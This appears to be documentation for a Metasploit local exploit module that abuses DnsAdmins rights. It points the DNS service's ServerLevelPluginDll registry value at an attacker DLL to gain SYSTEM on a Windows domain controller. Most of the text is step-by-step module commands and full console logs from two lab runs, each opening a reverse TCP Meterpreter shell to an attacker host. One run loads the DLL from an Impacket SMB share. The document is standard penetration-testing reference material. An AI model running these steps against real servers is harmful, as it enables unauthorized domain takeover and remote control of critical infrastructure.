## Introduction This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the `ServerLevelPluginDll` value using dnscmd.exe to create a registry key at `HKLM\SYSTEM\CurrentControlSet\services\DNS\Parameters\` named `ServerLevelPluginDll` that can be made to point to an arbitrary DLL. After doing so, restarting the service will load the DLL and cause it to execute, providing us with SYSTEM privileges. Using the Metasploit-generated DLL will cause the service to become unresponsive, and will require removing the registry key and rebooting to get it working again. ## Vulnerable Application Windows Server 2003 and above ## Verification Steps 1. Get a Meterpreter shell 2. `use exploit/windows/local/dnsadmin_serverlevelplugindll` 3. `set PAYLOAD ` 4. `set LHOST ` 5. `set LPORT ` 6. `set SESSION ` 7. `set DLLNAME ` if you want to name your DLL something other than `msf.dll` 8. `set DLLPATH ` if you want to place your DLL somewhere other than `%TEMP%` or want to use a UNC path 9. `exploit` to get SYSTEM shell ## Options **DLLNAME** Name of the DLL to use. **DLLPATH** Location of the DLL to use. If a UNC path is provided, the module assumes that the operator already has the prerequisites: 1. A working SMB2 share (use Impacket's `smbserver.py` to quickly set up one) 2. A DLL of the same architecture as the target system ## Scenarios ### Windows Server 2019 Standard x64, writing `msf.dll` to `%TEMP%` ``` PAYLOAD => windows/x64/meterpreter/reverse_tcp LHOST => 192.168.137.128 LPORT => 4444 [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.137.128:4444 msf5 exploit(multi/handler) > [*] Sending stage (206403 bytes) to 192.168.137.133 [*] Meterpreter session 1 opened (192.168.137.128:4444 -> 192.168.137.133:58249) at 2020-02-25 01:40:24 +0800 msf5 exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/windows BASILISKCORP\salazar @ DC01 192.168.137.128:4444 -> 192.168.137.133:58249 (192.168.137.133) msf5 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll msf5 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 1 SESSION => 1 msf5 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp msf5 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LHOST 192.168.137.128 LHOST => 192.168.137.128 msf5 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 4444 LPORT => 4444 msf5 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit [*] Started reverse TCP handler on 192.168.137.128:4444 [*] Running check against DC01 as user BASILISKCORP\salazar... [+] DNS service found on DC01. [+] User BASILISKCORP\salazar is part of the DnsAdmins group. [+] User BASILISKCORP\salazar can start/stop the DNS service. [*] Checking service state... [*] DNS service is running, proceeding... [*] Creating the payload DLL (x64)... [*] Writing DLL to C:\Users\salazar\AppData\Local\Temp\msf.dll... [*] Modifying ServerLevelPluginDll to point to C:\Users\salazar\AppData\Local\Temp\msf.dll... [+] Registry property serverlevelplugindll successfully reset. [*] Restarting the DNS service... [*] Sending stage (206403 bytes) to 192.168.137.133 [*] Meterpreter session 2 opened (192.168.137.128:4444 -> 192.168.137.133:58255) at 2020-02-25 01:40:49 +0800 meterpreter > sysinfo Computer : DC01 OS : Windows 2016+ (10.0 Build 17763). Architecture : x64 System Language : en_US Domain : BASILISKCORP Logged On Users : 11 Meterpreter : x64/windows meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > ``` ### Windows Server 2019 Standard x64, specifying a UNC path for ServerLevelPluginDll The fastest way to get a share up and running is to use Impacket's `smbserver`: `sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support -ip 192.168.137.128 test ./` ``` PAYLOAD => windows/x64/meterpreter/reverse_tcp LHOST => 192.168.137.128 LPORT => 4444 [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.137.128:4444 msf5 exploit(multi/handler) > [*] Sending stage (206403 bytes) to 192.168.137.133 [*] Meterpreter session 1 opened (192.168.137.128:4444 -> 192.168.137.133:52968) at 2020-02-25 01:43:48 +0800 msf5 exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/windows BASILISKCORP\salazar @ DC01 192.168.137.128:4444 -> 192.168.137.133:52968 (192.168.137.133) msf5 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll msf5 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 1 SESSION => 1 msf5 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp msf5 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LHOST 192.168.137.128 LHOST => 192.168.137.128 msf5 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 4444 LPORT => 4444 msf5 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLPATH \\\\192.168.137.128\\test DLLPATH => \\192.168.137.128\test msf5 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME test.dll DLLNAME => test.dll msf5 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit [*] Started reverse TCP handler on 192.168.137.128:4444 [*] Running check against DC01 as user BASILISKCORP\salazar... [+] DNS service found on DC01. [+] User BASILISKCORP\salazar is part of the DnsAdmins group. [+] User BASILISKCORP\salazar can start/stop the DNS service. [*] Checking service state... [*] DNS service is running, proceeding... [*] Using user-provided UNC path. [*] Modifying ServerLevelPluginDll to point to \\192.168.137.128\test\test.dll... [+] Registry property serverlevelplugindll successfully reset. [*] Restarting the DNS service... [*] Sending stage (206403 bytes) to 192.168.137.133 [*] Meterpreter session 2 opened (192.168.137.128:4444 -> 192.168.137.133:52986) at 2020-02-25 01:46:06 +0800 meterpreter > sysinfo Computer : DC01 OS : Windows 2016+ (10.0 Build 17763). Architecture : x64 System Language : en_US Domain : BASILISKCORP Logged On Users : 12 Meterpreter : x64/windows meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > ```